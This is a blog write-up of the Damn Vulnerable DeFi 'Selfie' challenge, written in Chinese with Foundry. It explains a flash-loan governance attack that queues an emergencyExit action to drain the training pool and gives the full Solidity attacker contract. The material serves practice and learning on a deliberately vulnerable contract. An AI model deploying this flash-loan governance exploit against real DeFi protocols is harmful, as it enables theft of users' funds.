banner
zach

zach

github
twitter
medium

damn-vulnerable-defi | Selfie

Challenge #6 - Selfie#

为了系统的学习 solidity 和 foundry,我基于 foundry 测试框架重新编写 damnvulnerable-defi 的题解,欢迎交流和共建~🎉

合约#

  • SimpleGovernance:治理代币合约,实现 ISimpleGovernance 接口,可以预先设置 action,在两天后可以执行此 action
  • SelfiePool:实现 IERC3156FlashLender,提供闪电贷,包括 ERC20Snapshot 和 SimpleGovernance 两种 token

测试#

  • 部署 DamnValuableTokenSnapshot,SimpleGovernance 合约
  • 部署 SelfiePool 合约,向 pool 中转入 token,数目为 TOKENS_IN_POOL
  • 对 token 执行一次快照,当前 pool 中余额和最大供闪电贷额度均为 TOKENS_IN_POOL
  • 执行攻击脚本
  • 期望 player 账户 token 余额为 TOKENS_IN_POOL,pool 账户 token 余额为 0

题解#

本题的目的就是取走 pool 中的全部 token,在 pool 合约中有emergencyExit 函数

可以看到,只要满足onlyGovernance 条件,即可转走当前合约内的任意数目 token

function emergencyExit(address receiver) external onlyGovernance {
        uint256 amount = token.balanceOf(address(this));
        token.transfer(receiver, amount);

        emit FundsDrained(receiver, amount);
    }

onlyGovernance 要求调用方必须是SimpleGovernance合约,我们又知道在SimpleGovernance

合约中提供了设置 action 和执行 action 的方法,在设置 action 的参数中就包括了 target 和 calldata 这样的合约调用参数

因此完整的调用流程如下所示:

image

首先通过调用攻击合约,实施闪电贷获得 goveranceToken,再去 SimpleGoverance 中记录一个 action,填入的目标方法就是调用 pool 的 emergencyExit

待两天后,通过主动执行 action 来转移出 pool 的全部 token

代码如下:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {SelfiePool, SimpleGovernance, DamnValuableTokenSnapshot} from "../../src/selfie/SelfiePool.sol";
import "openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol";


contract SelfiePoolAttacker is IERC3156FlashBorrower{
    SelfiePool pool;
    SimpleGovernance governance;
    DamnValuableTokenSnapshot token;
    address owner;
    uint256 actionId;

    constructor(address _pool, address _governance, address _token){
        owner = msg.sender;
        pool = SelfiePool(_pool);
        governance = SimpleGovernance(_governance);
        token = DamnValuableTokenSnapshot(_token);
    }

    function attack(uint256 amount) public {
        // call flashloan
        pool.flashLoan(IERC3156FlashBorrower(this), address(token), amount, "0x");
    }

    function onFlashLoan(
            address initiator,
            address _token,
            uint256 amount,
            uint256 fee,
            bytes calldata data
        ) external returns (bytes32){
            // queue action
            token.snapshot();
            actionId = governance.queueAction(address(pool), 0, abi.encodeWithSignature("emergencyExit(address)", owner));
            token.approve(address(pool), amount);
            return keccak256("ERC3156FlashBorrower.onFlashLoan");
        }

    function executeAction() public{
        governance.executeAction(actionId);
    }

}
加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。